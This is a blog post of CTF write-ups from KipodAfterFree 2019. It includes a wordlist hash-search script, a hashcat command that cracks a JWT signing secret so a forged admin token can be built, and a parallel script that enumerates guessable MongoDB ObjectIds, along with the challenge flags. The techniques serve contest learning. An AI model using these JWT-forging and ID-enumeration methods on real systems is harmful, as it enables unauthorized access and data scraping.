« KipodAfterFree CTF 2019: Write-ups

December 21, 2019 • ☕️ 1 min read

CTF
  1. Crypto
    1. BackHash
  2. Web
    1. Cookie Clicker
    2. Cat Space

Very interesting problems in this CTF of varying difficulty. Enjoyed working through them.

Crypto

BackHash

This was interesting. It replaces all instances of f1a9 with the flag. It outputs some hash but doesn’t appear to be simple md5/sha1. After some investigative work I identified it as:

  • Length 0(mod3)\equiv 0 \pmod{3}: MD5
  • Length 1(mod3)\equiv 1 \pmod{3}: SHA | MD5
  • Length 2(mod3)\equiv 2 \pmod{3}: B64 | SHA | MD5

To find a hash, I wrote a python script to go over a wordlist and find a word:

from base64 import b64encode
from hashlib import sha1, md5

def do_s(string):
    s = sha1()
    s.update(string)
    return s.hexdigest().encode('ascii')

def do_m(string):
    m = md5()
    m.update(string)
    return m.hexdigest().encode('ascii')

with open('rockyou.txt', 'rb') as f:
    for line in f:
        attempt = line.strip()

        res = {
            0: lambda: do_m(attempt),
            1: lambda: do_m(do_s(attempt)),
            2: lambda: do_m(do_s(b64encode(attempt)))
        }[len(attempt) % 3]()

        if b'f1a9' in res:
            print('{}: {}'.format(attempt, res))

hollywood appears to be such a string. Entering it gives KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}.

Web

I logged in with some random username. Here’s what we have:

Notice the "powered by JWT" label.
Notice the "powered by JWT" label.

This is the JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpY2tDb3VudGVyIjowLCJpYXQiOjE1NzY5ODc2MjAsImV4cCI6MTU3Njk4NzY1MH0.56lNehtlZUJo61ZsnRzwd1TgogV6mgL2X7j4i2isqKQ

I went to jwt.io to see what this contains:

Looks like it stores clicks
Looks like it stores clicks

So we can just change it to:

{
  "username": "admin",
  "clickCounter": 1000000,
  "iat": 1576987620,
  "exp": 1576987650
}

to set that we’ve already done one million clicks. We just need to get the password used to verify the integrity of the JWT which I’ve done using hashcat:

$ hashcat -a0 -m 16500 jwt.hash ./rockyou.txt
...:mypinkipod

So now I can use mypinkipod as the hash back on jwt.io and obtain a fixed JWT. Putting that back into cookie clicker I get the flag (KAF{koOK1E5_4rE_yUmmY_91Ve_mE_mOre}):

There's my flag!
There's my flag!

Cat Space

This challenge was a bit confusing at first but automating it is key. In the code you’ll find a comment:

<!--
    API:
      - /asjson?id={picture_id}
    -->

additionally the webpage says it is powered by MongoDB. In the first picture, here’s the html:

<img id="p-5d8e5ebc54a43e28501d540f" src="/images/0.jpg">

5d8e5ebc54a43e28501d540f is the “ObjectId” in MongoDB. ObjectIDs have a specific format1:

  1. 4-byte unix time in seconds
  2. 3-byte machine id
  3. 2-byte process id
  4. 3-byte counter

So based on this, 0x5d8e5ebc is the time of the first database entry and our counter starts at 0x1d540f. I wrote a script to get the first 50 object IDs and fuzz about +200 the initial time. Here’s the script I wrote:

from multiprocessing import Pool
import requests

hash_start_time = 0x5d8e5ebc
hash_middle = '54a43e28501d54'
hash_start_id = 0x0f

# Try 200 times for each hash
num_hash_brutes = 200

def attempt_hash_offset(offset):
    hash_id = hash_start_id + offset
    for i in range(num_hash_brutes):
        test_hash = '{:08x}{}{:02x}'.format(hash_start_time+i, hash_middle, hash_id)
        url = 'http://ctf.kaf.sh:3010/asjson?id={}'.format(test_hash)
        result = requests.get(url).content.decode('utf8')
        if 'error' in result:
            continue

        print("{}: {}".format(offset, result))
        return offset
    print("{}: Not Found".format(offset))


if __name__ == '__main__':
    pool = Pool(8)

    # Find first 50 database items
    total_attempts = 50

    pool.map(attempt_hash_offset, range(0, total_attempts))

The script’s output:

0: {"_id":"5d8e5ebc54a43e28501d540f","url":"/images/0.jpg","caption":"Hello i'm Oscar 😹"}
1: {"_id":"5d8e5ebf54a43e28501d5410","url":"/images/1.jpg","caption":"Hello i'm Max 😽"}
... trimmed ...
17: {"_id":"5d8e5eec54a43e28501d5420","url":"/images/11.jpg","caption":"Hello i'm Puss 😼"}
22: {"_id":"5d8e5f1654a43e28501d5425","url":"/images/22.jpg","caption":"Hello i'm Lucky 😹"}
19: {"_id":"5d8e5f0154a43e28501d5422","url":"/images/17.jpg","caption":"KAF{c475_423_4w350m3}"}

  1. this has changed in new mongodb versions